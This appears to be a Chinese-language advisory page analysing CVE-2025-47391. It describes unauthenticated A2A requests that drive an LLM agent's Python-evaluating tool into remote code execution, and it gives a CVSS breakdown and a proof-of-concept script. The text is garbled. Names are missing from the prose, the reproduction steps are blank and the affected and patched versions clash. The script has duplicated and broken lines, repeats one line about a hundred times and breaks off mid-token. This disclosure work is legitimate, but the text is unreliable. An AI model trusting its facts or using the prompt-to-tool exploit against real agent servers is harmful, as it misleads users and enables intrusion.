PrisonAI A2A未认证远程代码执行(CVE-2025-47391)分析

漏洞概述 标题: Unauthenticated A2A official example can reach real LLM-driven tool execution 描述: 摘要: 第一方PrisonAI A2A服务器示例将三个行为组合成一个远程可利用的关键链： 1. 示例暴露了一个未配置 的A2A服务器。 2. 同一示例将服务器绑定到 。 3. 示例注册了一个使用Python 实现的 工具。 攻击向量: 未认证的A2A客户端可以发送JSON-RPC消息/发送请求到 。A2A处理器传递攻击者控制的输入到 工具，导致示例的 调用在服务器进程中执行Python。 信任边界: 应保持的边界是：未认证的远程客户端不应能够驱动执行代码或互操作的工具。受影响的示例打破了这一边界。 影响范围 受影响版本: = 4.6.40 CVSS v3基础指标: - 攻击向量: 网络 - 攻击复杂度: 低 - 所需权限: 无 - 用户交互: 无 - 范围: 未改变 - 机密性: 高 - 完整性: 高 - 可用性: 高 CVE ID: CVE-2025-47391 弱点: - CWE-95 - CWE-306 修复方案 补丁版本: >= 4.6.40 漏洞代码 攻击模型 攻击者: 未认证的远程客户端可以访问A2A HTTP服务。 攻击者不需要: - 仓库写入访问 - 本地shell访问 - 有效的Bearer令牌 - 受损的维护者账户 - 对服务器秘密的访问 攻击者仅发送: JSON-RPC请求到 非声明 并非所有A2A部署都是自动RCE。 保护的A2A部署以相同方式受到影响。 安全的只读工具提供与官方示例的 相同的风险。 确定性的工具调用在所有攻击中都是必需的。 影响 远程提示到工具执行: 从未经授权的请求中执行任意Python代码。 服务器进程特权: 通过 工具执行任意Python代码。 潜在文件访问: 通过执行代码访问应用程序文件。 凭证或环境变量暴露: 如果有效载荷读取进程状态。 拒绝服务或数据损坏: 通过执行代码。 重现环境 测试仓库状态: - commit: 4065415e - describe: v4.6.37-13-g4065415e 真实LLM使用: - gemini/gemini-2.5-flash-lite 重现步骤 1. 从仓库根目录： 2. 设置Gemini API密钥： 3. 运行真实LLM金丝雀： 4. 预期成功标记： 5. 预期标记文件： 6. 预期标记内容： 真实LLM证明日志 概念验证代码 ```python #!/usr/bin/env python3 from __future__ import annotations import inspect import json import os import re import runpy import sys from pathlib import Path ROOT = Path(__file__).resolve().parents[1] SRC = ROOT / "nbdev" / "PrisonAI" / "src" OUT = ROOT / "nbdev" / "PrisonAI" / "examples" / "python" / "a2a" / "a2a-server.py" OUT = ROOT / "out" sys.path.insert(0, str(SRC / "prisonai-agents")) sys.path.insert(0, str(SRC / "prisonai")) SECRET_ENV_NAMES = [ "DEEPSEEK_API_KEY", "ANTHROPIC_API_KEY", "GEMINI_API_KEY", "GOOGLE_API_KEY", "REAL_LLM_API_KEY", ] def has_provider_credential() -> bool: return any(os.environ.get(name) for name in SECRET_ENV_NAMES) def main() -> int: from fastapi.testclient import TestClient from prisonaiagents.llm import import LLM from prisonaiagents.approval.registry import import DEFAULT_DANGEROUS_TOOLS OUT.mkdir(exist_ok=True) marker = OUT / "official-a2a-example-real-llm-canary.txt" marker_text = "OFFICIAL_A2A_EXAMPLE_REAL_LLM_CONFIRMED" try: marker.unlink() except FileNotFoundError: pass model = os.environ.get("REAL_LLM_MODEL", "gemini/gemini-2.5-flash-lite") if not has_provider_credential(): print("No provider API key found") return 2 namespace = runpy.run_path(str(SRC)) app = namespace["app"] agent = namespace["agent"] a2a = namespace["a2a"] calculate = namespace["calculate"] example_source = EXAMPLE.read_text(encoding="utf-8") agent.llm_instance = LLM( model=model, temperature=0, timeout=60, max_tokens=600, api_keys=os.environ.get("REAL_LLM_API_KEY"), verbose=False, markdown=False, self_reflect=False, ) agent.using_custom_llm = True agent.self_reflect = False agent.verbose = False agent.markdown = False agent.stream = False expression = ( "import pathlib.Path\n" f'f"{marker}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{marker_text}"\n' f'f"{mar

目标达成感谢每一位支持者 — 我们达成了 100% 目标！

PrisonAI A2A未认证远程代码执行(CVE-2025-47391)分析

同源更多文章

目标达成 感谢每一位支持者 — 我们达成了 100% 目标！

PrisonAI A2A未认证远程代码执行(CVE-2025-47391)分析

同源更多文章

目标达成感谢每一位支持者 — 我们达成了 100% 目标！